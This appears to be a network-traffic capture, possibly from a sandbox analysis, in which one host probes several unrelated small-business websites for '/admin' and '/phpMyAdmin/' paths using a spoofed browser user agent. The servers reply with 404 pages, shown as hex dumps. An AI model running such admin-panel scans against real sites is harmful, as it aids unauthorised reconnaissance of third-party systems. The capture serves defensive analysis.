2023-12-20 02:13:37 UTC	170	OUT	GET /admin HTTP/1.1 Host: www.rosetre.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	474	IN	HTTP/1.1 404 Not Found Age: 4 Content-Type: text/html;charset=utf-8 Date: Wed, 20 Dec 2023 02:13:32 GMT Etag: W/"6489318175bdb8a8994fb802892e57ee" Expires: Thu, 01 Jan 1970 00:00:00 GMT Server: Squarespace Set-Cookie: crumb=BRc9ftKjJoS+NjMyYzBmNGVkZDNkMWRmZDI3OWQwYTM4NTA2NDNi;Secure;Path=/ Strict-Transport-Security: max-age=0 Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Contextid: IGDe7MlJ/ks6Rnf0U Connection: close Transfer-Encoding: chunked
2023-12-20 02:13:37 UTC	712	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 20 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 Data Ascii: 8000<!doctype html><html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml" lang="en-US" > <head> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=d
2023-12-20 02:13:37 UTC	2372	IN	Data Raw: 6e 6e 65 6c 73 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0a 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 73 65 74 72 65 20 4b 65 6e 6e 65 6c 73 22 2f 3e 0a 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 74 68 75 6d 62 6e 61 69 6c 55 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 6d 61 67 65 5f 73 72 63 22 20 68 72 65 66 3d 22 22 20 2f 3e 0a 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0a Data Ascii: nnels"/><meta property="og:type" content="website"/><meta property="og:image" content=""/><meta itemprop="name" content="Rosetre Kennels"/><meta itemprop="thumbnailUrl" content=""/><link rel="image_src" href="" /><meta itemprop="image" content=""/>
2023-12-20 02:13:37 UTC	538	IN	Data Raw: 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 65 78 74 72 61 63 74 2d 63 73 73 2d 6d 6f 6d 65 6e 74 2d 6a 73 2d 76 65 6e 64 6f 72 2d 66 33 36 62 36 64 63 39 38 36 37 61 64 30 62 38 64 30 61 38 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 5d 3b 20 7d 29 28 53 51 55 41 52 45 53 50 41 43 45 5f 52 4f 4c 4c 55 50 53 2c 20 27 73 71 75 61 72 65 73 70 61 63 65 2d 65 78 74 72 61 63 74 5f 63 73 73 5f 6d 6f 6d 65 6e 74 5f 6a 73 5f 76 65 6e 64 6f 72 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 73 72 63 3d 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 65 78 74 72 Data Ascii: ipts-compressed/extract-css-moment-js-vendor-f36b6dc9867ad0b8d0a8-min.en-US.js"]; })(SQUARESPACE_ROLLUPS, 'squarespace-extract_css_moment_js_vendor');</script><script crossorigin="anonymous" src="//assets.squarespace.com/universal/scripts-compressed/extr
2023-12-20 02:13:37 UTC	4744	IN	Data Raw: 5d 3b 20 7d 29 28 53 51 55 41 52 45 53 50 41 43 45 5f 52 4f 4c 4c 55 50 53 2c 20 27 73 71 75 61 72 65 73 70 61 63 65 2d 63 6c 64 72 5f 72 65 73 6f 75 72 63 65 5f 70 61 63 6b 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 73 72 63 3d 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 63 6c 64 72 2d 72 65 73 6f 75 72 63 65 2d 70 61 63 6b 2d 61 36 38 32 66 37 61 64 33 33 37 37 34 31 65 62 30 35 64 36 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 20 64 65 66 65 72 20 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6c 6c 75 Data Ascii: ]; })(SQUARESPACE_ROLLUPS, 'squarespace-cldr_resource_pack');</script><script crossorigin="anonymous" src="//assets.squarespace.com/universal/scripts-compressed/cldr-resource-pack-a682f7ad337741eb05d6-min.en-US.js" defer ></script><script>(function(rollu
2023-12-20 02:13:37 UTC	5930	IN	Data Raw: 53 2e 6a 73 22 7d 2c 22 73 71 75 61 72 65 73 70 61 63 65 2d 70 69 6e 74 65 72 65 73 74 22 3a 7b 22 63 73 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 74 79 6c 65 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 70 69 6e 74 65 72 65 73 74 2d 31 65 34 34 39 36 39 33 37 63 63 64 35 35 64 61 38 34 62 37 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 63 73 73 22 2c 22 6a 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 70 69 6e 74 65 72 65 73 74 2d 33 63 31 34 36 64 35 37 33 36 32 33 61 64 36 36 64 30 36 33 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 7d 2c 22 73 71 75 61 72 65 73 70 61 63 Data Ascii: S.js"},"squarespace-pinterest":{"css":"//assets.squarespace.com/universal/styles-compressed/pinterest-1e4496937ccd55da84b7-min.en-US.css","js":"//assets.squarespace.com/universal/scripts-compressed/pinterest-3c146d573623ad66d063-min.en-US.js"},"squarespac
2023-12-20 02:13:37 UTC	7116	IN	Data Raw: 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 64 69 73 70 6c 61 79 49 6d 70 6f 72 74 65 64 50 72 6f 64 75 63 74 52 65 76 69 65 77 73 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 68 61 73 4f 70 74 65 64 54 6f 43 6f 6c 6c 65 63 74 4e 61 74 69 76 65 52 65 76 69 65 77 73 22 3a 66 61 6c 73 65 7d 2c 22 69 73 4c 69 76 65 22 3a 66 61 6c 73 65 2c 22 6d 75 6c 74 69 70 6c 65 51 75 61 6e 74 69 74 79 41 6c 6c 6f 77 65 64 46 6f 72 53 65 72 76 69 63 65 73 22 3a 74 72 75 65 7d 2c 22 75 73 65 45 73 63 61 70 65 4b 65 79 54 6f 4c 6f 67 69 6e 22 3a 74 72 75 65 2c 22 73 73 42 61 64 67 65 54 79 70 65 22 3a 31 2c 22 73 73 42 61 64 67 65 50 6f 73 69 74 69 6f 6e 22 3a 34 2c 22 73 73 42 61 64 67 65 56 69 73 69 62 69 6c 69 74 79 22 3a 31 2c 22 73 73 42 61 64 67 65 44 65 76 69 Data Ascii: Enabled":false,"displayImportedProductReviewsEnabled":false,"hasOptedToCollectNativeReviews":false},"isLive":false,"multipleQuantityAllowedForServices":true},"useEscapeKeyToLogin":true,"ssBadgeType":1,"ssBadgePosition":4,"ssBadgeVisibility":1,"ssBadgeDevi
2023-12-20 02:13:37 UTC	8302	IN	Data Raw: 64 22 2c 22 73 68 6f 77 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 69 6e 5f 70 6c 70 22 2c 22 6f 76 65 72 72 69 64 65 5f 62 6c 6f 63 6b 5f 73 74 79 6c 65 73 22 2c 22 63 75 73 74 6f 6d 69 7a 65 5f 69 74 65 6d 5f 70 61 79 77 61 6c 6c 69 6e 67 22 2c 22 63 61 6d 70 61 69 67 6e 73 5f 64 69 73 63 6f 75 6e 74 5f 73 65 63 74 69 6f 6e 5f 69 6e 5f 62 6c 61 73 74 73 22 2c 22 6d 61 72 6b 65 74 69 6e 67 5f 6c 61 6e 64 69 6e 67 5f 70 61 67 65 22 2c 22 63 6f 6c 6c 65 63 74 69 6f 6e 5f 74 79 70 65 6e 61 6d 65 5f 73 77 69 74 63 68 69 6e 67 22 2c 22 6d 65 6d 62 65 72 5f 61 72 65 61 73 5f 73 70 61 6e 69 73 68 5f 69 6e 74 65 72 76 69 65 77 73 22 2c 22 63 61 6d 70 61 69 67 6e 73 5f 74 68 75 6d 62 6e 61 69 6c 5f 6c 61 79 6f 75 74 22 2c 22 73 65 6e 64 5f 6c 6f 63 61 6c 5f 70 69 63 Data Ascii: d","show_add_to_cart_in_plp","override_block_styles","customize_item_paywalling","campaigns_discount_section_in_blasts","marketing_landing_page","collection_typename_switching","member_areas_spanish_interviews","campaigns_thumbnail_layout","send_local_pic
2023-12-20 02:13:37 UTC	3060	IN	Data Raw: 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 62 61 6e 6e 65 72 2d 73 6c 69 64 65 73 68 6f 77 2d 62 75 74 74 6f 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 62 61 6e 6e 65 72 2d 73 6c 69 64 65 73 68 6f 77 2d 62 75 74 74 6f 6e 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 49 6e 76 65 72 73 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 62 61 6e 6e 65 72 2d 73 6c 69 64 65 73 68 6f 77 2d 63 61 72 64 2d 62 75 74 74 6f 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 Data Ascii: l),1);--list-section-banner-slideshow-button-background-color:hsla(var(--safeDarkAccent-hsl),1);--list-section-banner-slideshow-button-text-color:hsla(var(--safeInverseDarkAccent-hsl),1);--list-section-banner-slideshow-card-button-background-color:hsla(va
2023-12-20 02:13:37 UTC	4096	IN	Data Raw: 0d 0a 38 30 30 30 0d 0a 64 2d 62 61 73 69 63 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 70 6f 72 74 66 6f 6c 69 6f 2d 67 72 69 64 2d 6f 76 65 72 6c 61 79 2d 6f 76 65 72 6c 61 79 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 77 68 69 74 65 2d 68 73 6c 29 2c 31 29 3b 2d 2d 70 6f 72 74 66 6f 6c 69 6f 2d 67 72 69 64 2d 6f 76 65 72 6c 61 79 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 70 6f 72 74 66 6f 6c 69 6f 2d 68 6f 76 65 72 2d 66 6f 6c 6c 6f 77 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 70 6f 72 74 66 6f 6c 69 6f 2d 68 6f Data Ascii: 8000d-basic-title-color:hsla(var(--black-hsl),1);--portfolio-grid-overlay-overlay-color:hsla(var(--white-hsl),1);--portfolio-grid-overlay-title-color:hsla(var(--black-hsl),1);--portfolio-hover-follow-title-color:hsla(var(--black-hsl),1);--portfolio-ho
2023-12-20 02:13:38 UTC	11860	IN	Data Raw: 77 65 61 6b 2d 65 76 65 6e 74 73 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 64 61 74 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 65 76 65 6e 74 73 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 69 63 6f 6e 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 65 76 65 6e 74 73 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 66 6f 72 6d 2d 62 6c 6f 63 6b 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 6c 69 67 68 74 41 63 63 65 Data Ascii: weak-events-item-pagination-date-color:hsla(var(--black-hsl),1);--tweak-events-item-pagination-icon-color:hsla(var(--black-hsl),1);--tweak-events-item-pagination-title-color:hsla(var(--black-hsl),1);--tweak-form-block-background-color:hsla(var(--lightAcce

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.4	65095	34.149.87.45	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	178	OUT	GET /admin HTTP/1.1 Host: www.u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	1085	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038417.7211650890726215056 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:37 GMT X-Served-By: cache-dfw-kdfw8210139-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRalpZ3H1SM8LlvouA/vOMFXIJtojEijXXFiJj75M684v5pl/vES4JMOM3CGmKb33RLVA==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,DY1v+aegb3s4AAkdrJsUZUSfsPjeh+wOoPebqPrPO1w=,eeDBBxD+YVnHnsF07EtfmfAuG7xlWm190hK3ivLce/A=,0gGrL7iazMoiuqlb7dEO3ZdfI6TqbNh4OZh++xsYw0miThpsmb4Q7JPiSqMAW3s6569SoDlDV8E8KUfqEoJPbQ== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:37 UTC	167	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sca
2023-12-20 02:13:37 UTC	1252	IN	Data Raw: 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c Data Ascii: le=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <
2023-12-20 02:13:37 UTC	1252	IN	Data Raw: 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e Data Ascii: ices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.
2023-12-20 02:13:37 UTC	270	IN	Data Raw: 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a Data Ascii: red</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.4	65059	96.45.112.177	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	182	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: www.texasopendoor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	562	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Set-Cookie: PHPSESSID=820c03ac0641d830d7d62785874a08bc; path=/ Pragma: no-cache Set-Cookie: aiovg_rand_seed=2571994163; expires=Thu, 21-Dec-2023 02:13:38 GMT; Max-Age=86400; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.texasopendoor.com/wp-json/>; rel="https://api.w.org/"
2023-12-20 02:13:38 UTC	15822	IN	Data Raw: 33 64 64 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 53 69 74 65 22 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 Data Ascii: 3dde<!doctype html><html class="no-js"lang="en-US"><head itemscope itemtype="http://schema.org/WebSite"> <meta charset="UTF-8" /> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="viewport" content="width=device-width, init
2023-12-20 02:13:38 UTC	16384	IN	Data Raw: 77 2e 74 65 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 22 3e 0d 0a 64 62 32 65 0d 0a 48 6f 6d 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 37 32 31 32 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 73 65 61 72 63 68 22 3e 53 65 61 72 63 68 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 Data Ascii: w.texasopendoor.com/">db2eHome</a> </li> <li class=" menu-item menu-item-type-custom menu-item-object-custom menu-item-7212"> <a href="/search">Search</a> </li> <li c
2023-12-20 02:13:38 UTC	16384	IN	Data Raw: 2f 2f 77 77 77 2e 74 65 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 67 65 6f 72 67 65 74 6f 77 6e 2d 68 6f 6d 65 73 2d 34 30 30 30 30 30 2f 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 73 75 62 63 61 74 2d 74 69 74 6c 65 22 3e 47 65 6f 72 67 65 74 6f 77 6e 20 48 6f 6d 65 73 20 24 34 30 30 2c 30 30 30 20 41 6e 64 20 55 70 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 Data Ascii: //www.texasopendoor.com/georgetown-homes-400000/"><span class="menu-item-subcat-title">Georgetown Homes $400,000 And Up</span></a> </li> <li class=" menu-item menu-item-type-post_type menu-item-objec
2023-12-20 02:13:38 UTC	16384	IN	Data Raw: 6e 64 2d 72 6f 63 6b 2d 77 61 74 65 72 66 72 6f 6e 74 2d 68 6f 6d 65 73 2f 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 73 75 62 63 61 74 2d 74 69 74 6c 65 22 3e 57 61 74 65 72 66 72 6f 6e 74 20 48 6f 6d 65 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 37 38 32 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: nd-rock-waterfront-homes/"><span class="menu-item-subcat-title">Waterfront Homes</span></a> </li> <li class=" menu-item menu-item-type-post_type menu-item-object-page menu-item-7824">
